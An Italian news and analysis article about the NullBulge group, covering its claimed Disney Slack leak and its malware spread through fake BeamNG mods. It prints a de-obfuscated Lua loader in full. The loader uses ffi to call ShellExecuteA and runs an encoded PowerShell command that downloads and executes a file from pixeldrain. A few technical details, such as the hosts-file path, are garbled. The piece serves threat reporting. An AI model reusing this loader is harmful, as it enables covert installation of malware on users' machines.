NullBulge, un po’ di attivismo tra codice di malware e infostealer

“Siamo un collettivo di individui che credono nell’importanza di tutelare i diritti degli artisti e garantire un giusto compenso per il loro lavoro. Il nostro team è composto da sostenitori, ricercatori e attivisti appassionati che si impegnano a fare la differenza nella comunità creativa”, così si legge sul sito di riferimento emerso di recente per questo nuovo gruppo criminale.

Due giorni fa il gruppo ha affermato di aver violato Disney e fatto trapelare 1,1 TiB (1,2 TB) dell’infrastruttura Slack interna dell’azienda.

La violazione, che deve ancora essere verificata, contiene presumibilmente una copia completa delle comunicazioni Slack dell’azienda utilizzate dal team di sviluppo, inclusi messaggi, file e altri dati scambiati all’interno dell’area di lavoro Slack.

Gli hacker affermano inoltre che il dump include “quasi 10.000 canali, ogni messaggio e file possibile, progetti inediti, immagini grezze, codice, accessi, collegamenti ad API interne/pagine web e altro ancora!”

Rispetto ai soliti moventi economici, il gruppo qui sembra guidato da motivazioni di attivismo, soprattutto correlato alle opere artistiche, contro lo sviluppo dell’intelligenza artificiale, che ne minaccerebbe la crescita pura.

Dal punto di vista tecnico

Le attività per “NullBulge” sembrano iniziare ai primi giorni di giugno 2024 con nullbulge(dot)com, ultilizzato per diffondere malware/ransomware attraverso false mod di BeamNG trapelate, materiale AI casuale come i nodi ComfyUI (un’interfaccia Stable Diffusion basata sul Web ottimizzata per la personalizzazione di flussi di lavoro).

Un esempio di attacco sferrato in quel periodo che include elementi di intelligenza artificiale è il recente incidente ComfyUI LLMVISION. Hanno rivendicato la responsabilità sul loro sito web e su GitHub oltre a far trapelare le password di Roblaughter.

Di solito ospitano i loro payload su “pixeldrain.com” in modo da poter modificare il file host per bloccare il dominio pixeldrain (C:\Windows\System32\etc\hosts).

Nel frattempo NullBulge(dot)com (versione archiviata) sembra essere stato rimosso dal loro provider di dominio, anche se più di recente invece sono emersi con altri domini, ora funzionanti.

Il trojan

Il payload che il gruppo Nullbulge sta diffondendo è denominato “beam.ui.exe”, che scarica il malware da un collegamento specifico. Un altro payload, “foror.exe”, è un bot Discord per il comando e il controllo (C2) di un infostealer, che configura un client per un microfono, si impegna nella crittografia e interagisce con Discord.

Una volta de-offuscato il codice del payload, scritto in LUA, possiamo darne una spiegazione dettagliata del suo funzionamento.

Questo codice può essere utilizzato per eseguire comandi di sistema da un contesto Lua, sfruttando la capacità di LuaJIT di chiamare funzioni C tramite ffi. Soprattutto lanciare il comando specifico in PowerShell che sembra essere un esempio di come eseguire script esterni (dannosi).

Il codice Lua utilizza la libreria ffi per eseguire chiamate a funzioni di sistema Windows e si propone di eseguire un comando PowerShell tramite ShellExecuteA. Vediamo nel dettaglio ogni parte del codice:

  1. Inizializzazione delle variabili e caricamento della libreria ffi:
   local a = {}
   local ffi = require("ffi")
  1. Definizione degli offset per varie funzioni:
   local ModuleHandleOffset = 0x1390d0
   local GetAddrOffset = 0x1390b0
   local LoadLibOffset = 0x1390e8
  1. Controllo della versione di BeamNG e aggiornamento degli offset se necessario:
   if string.find(beamng_versionb, "0.31") then
       ModuleHandleOffset = 0x1350d0
       GetAddrOffset = 0x1350b0
       LoadLibOffset = 0x1350e8
   end
  1. Definizione della funzione c che esegue il payload:
   local function c()
       ffi.cdef[[
           typedef void* (*Handle)(const char* Name);
           typedef void* (*LoadLibraryAFunc)(const char* lpLibFileName);
           typedef void* (*GetProcAddressFunc)(void* hModule, const char* lpProcName);
           typedef void* (*ShellExecuteAFunc)(void* hwnd, const char* lpOperation, const char* lpFile, const char* lpParameters, const char* lpDirectory, int* nShowCmd);
       ]]

In questa sezione, vengono definiti i tipi di funzione usando ffi.cdef.

  1. Casting degli offset a puntatori di funzione:
       local d = ffi.cast("long long*", 0x180000000 + ModuleHandleOffset)
       local e = ffi.cast("long long*", 0x180000000 + GetAddrOffset)
       local f = ffi.cast("long long*", 0x180000000 + LoadLibOffset)
  1. Recupero dei puntatori di funzione:
       local g = ffi.cast("Handle", d[0])
       local h = ffi.cast("GetProcAddressFunc", e[0])
       local i = ffi.cast("LoadLibraryAFunc", f[0])
  1. Caricamento della libreria shell32.dll e recupero dell’handle del processo BeamNG.drive.x64.exe:
       local j = i(ffi.cast("const char*", "shell32.dll"))
       local k = ffi.cast("const char*", "BeamNG.drive.x64.exe")
       local l = ffi.cast("long long*", g(k))
  1. Recupero della funzione ShellExecuteA:
       local m = ffi.cast("const char*", "ShellExecuteA")
       local n = ffi.cast("ShellExecuteAFunc", h(j, m))
  1. Preparazione del comando PowerShell da eseguire:
       local o = "/c \"powershell -EncodedCommand YwBtAGQAIAAvAGMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBDAG8AbQBtAGEAbgBkACAAIgBpAGYAIAAoAC0AbgBvAHQAIAAoAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgACcAQgBlAGEAbQBOAEcALgBVAEkALgBlAHgAZQAnACkAKQAgAHsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJwBoAHQAdABwAHMAOgAvAC8AcABpAHgAZQBsAGQAcgBhAGkAbgAuAGMAbwBtAC8AYQBwAGkALwBmAGkAbABlAC8ASABuAEUAYwB5AEwAQgBtACcAIAAtAE8AdQB0AEYAaQBsAGUAIAAnAC4ALwBCAGUAYQBtAE4ARwAuAFUASQAuAGUAeABlACcAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACcALgAvAEIAZQBhAG0ATgBHAC4AVQBJAC4AZQB4AGUAJwB9ACIA\""
       local p = ffi.cast("const char*", o)
  1. Preparazione dei parametri per ShellExecuteA:
  2. local q = "open" local r = ffi.cast("const char*", q) local s = "cmd.exe" local t = ffi.cast("const char*", s) local u = 0 local v = ffi.cast("int*", u)
  3. Esecuzione della funzione ShellExecuteA per eseguire il comando: print("copy!") n(nil, r, t, p, nil, v) print("fire!")
  4. Impostazione della funzione onInit:
    lua a.onInit = c return a

Conclusione

Il codice:

  1. Carica la libreria ffi per consentire chiamate a funzioni C.
  2. Definisce gli offset per varie funzioni e li aggiorna se viene rilevata una specifica versione di BeamNG.
  3. Definisce tipi di funzione C che verranno utilizzati.
  4. Crea puntatori alle funzioni di sistema utilizzando gli offset definiti.
  5. Carica shell32.dll e ottiene l’handle del processo BeamNG.drive.x64.exe.
  6. Recupera la funzione ShellExecuteA dalla libreria shell32.dll.
  7. Prepara un comando PowerShell codificato da eseguire.
  8. Esegue il comando utilizzando ShellExecuteA.